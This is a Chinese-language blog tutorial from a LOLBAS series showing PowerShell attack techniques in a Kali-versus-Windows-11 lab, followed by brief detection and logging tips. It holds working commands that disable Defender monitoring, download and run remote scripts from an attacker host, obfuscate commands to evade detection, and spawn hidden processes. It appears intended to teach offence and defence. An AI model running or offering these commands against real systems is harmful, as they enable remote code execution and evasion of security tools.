【LOLBAS鐵人賽Day4】PowerShell深度實戰：Windows 11 上的攻防對抗

727 字

4 分鐘

- views

【LOLBAS鐵人賽Day4】PowerShell深度實戰：Windows 11 上的攻防對抗

2025-09-18

Research

LOLBAS

/

Windows

/

Security

PowerShell 對大部分人而言，可能只是個強化版的 CMD，
但在真實的資安事件中，超過 40% 的攻擊都使用了 PowerShell
不過 Windows 11 對 PowerShell 的限制越來越多（像是 WMIC 已經被移除），
但總會能有新的方法會不斷出現，
這篇就一起來看看 Windows 11 上能有效使用的 PowerShell 技巧吧！

環境準備#

今天的實作會需要兩台機器：

1
Attacker Machine: Kali
2
Victim Machine: Windows 11

Attacker Machine (Kali)：#

1
# 建立測試 payload
2
mkdir ~/ps_demo && cd ~/ps_demo
3

4
cat > payload.ps1 << 'EOF'
5
Write-Host "================================" -ForegroundColor Green
6
Write-Host " PowerShell Payload Executed!" -ForegroundColor Yellow
7
Write-Host "================================" -ForegroundColor Green
8
Write-Host "User: $env:USERNAME" -ForegroundColor Cyan
9
Write-Host "Time: $(Get-Date)" -ForegroundColor Cyan
10
Start-Process calc.exe
11
"Executed at $(Get-Date)" | Out-File "$env:TEMP\ps_test.txt"
12
EOF
13

14
# 建立 Base64 payload
15
echo 'Write-Host "Decoded!" -ForegroundColor Red; calc.exe' | base64 > encoded.txt
16

17
# 啟動 Web Server
18
python3 -m http.server 8080

Victim Machine (Windows 11)：#

1
# 建立測試環境
2
mkdir C:\TestLab; cd C:\TestLab
3

4
# 暫時關閉防護（測試環境）
5
Add-MpPreference -ExclusionPath "C:\TestLab"
6
Set-MpPreference -DisableRealtimeMonitoring $true
7
Set-ExecutionPolicy Bypass -Scope Process -Force

Windows 11 實測：三個仍然有效的技巧#

技巧一：直接記憶體執行（最經典）#

1
# 設定攻擊者 IP
2
$attacker = "<kali_ip>"
3

4
# 方法1：IEX + WebClient（經典組合）
5
IEX (New-Object Net.WebClient).DownloadString("http://${attacker}:8080/payload.ps1")
6

7
# 方法2：Invoke-RestMethod（更現代）
8
irm "http://${attacker}:8080/payload.ps1" | IEX
9

10
# 方法3：分段執行避免偵測
11
$a='IEX '; $b='(New-Object '; $c='Net.WebClient).'; $d='DownloadString('
12
$url = "http://${attacker}:8080/payload.ps1"
13
$e="`"$url`")"
14
Invoke-Expression ($a+$b+$c+$d+$e)

你會看到計算機彈出，但沒有任何 .ps1 檔案寫入磁碟！

技巧二：Base64 編碼執行#

1
# 建立編碼命令
2
$cmd = "Write-Host 'Encoded!' -ForegroundColor Red; calc.exe"
3
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
4
$encoded = [Convert]::ToBase64String($bytes)
5

6
# 執行編碼指令
7
powershell.exe -EncodedCommand $encoded
8

9
# 或從遠端下載編碼內容
10
$b64 = (New-Object Net.WebClient).DownloadString("http://${attacker}:8080/encoded.txt")
11
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b64))
12
IEX $decoded

技巧三：WMIC 的替代方案（Windows 11）#

由於 WMIC 被移除，攻擊者改用：

1
# 方法1：CIM（新的替代方案）
2
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{
3
    CommandLine = "powershell.exe -c `"Write-Host 'CIM Execution!'`""
4
}
5

6
# 方法2：COM 物件
7
$shell = New-Object -ComObject WScript.Shell
8
$shell.Run("powershell -c `"calc.exe`"", 0, $false)
9

10
# 方法3：Start-Process
11
Start-Process powershell -ArgumentList "-c `"irm http://${attacker}:8080/payload.ps1 | iex`"" -WindowStyle Hidden
12

13
# 方法4：Invoke-WmiMethod
14
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe"

偵測＆防禦建議#

檢查痕跡#

1
# 最近建立的檔案
2
Get-ChildItem "$env:TEMP","$env:APPDATA" -Recurse -File -ErrorAction SilentlyContinue |
3
    Where-Object {$_.CreationTime -gt (Get-Date).AddHours(-1)}
4

5
# PowerShell 歷史
6
Get-Content (Get-PSReadlineOption).HistorySavePath | Select-String "DownloadString|IEX"

啟用日誌#

1
# 必須啟用 Script Block Logging
2
$regPath = "HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
3
New-Item -Path $regPath -Force
4
Set-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging" -Value 1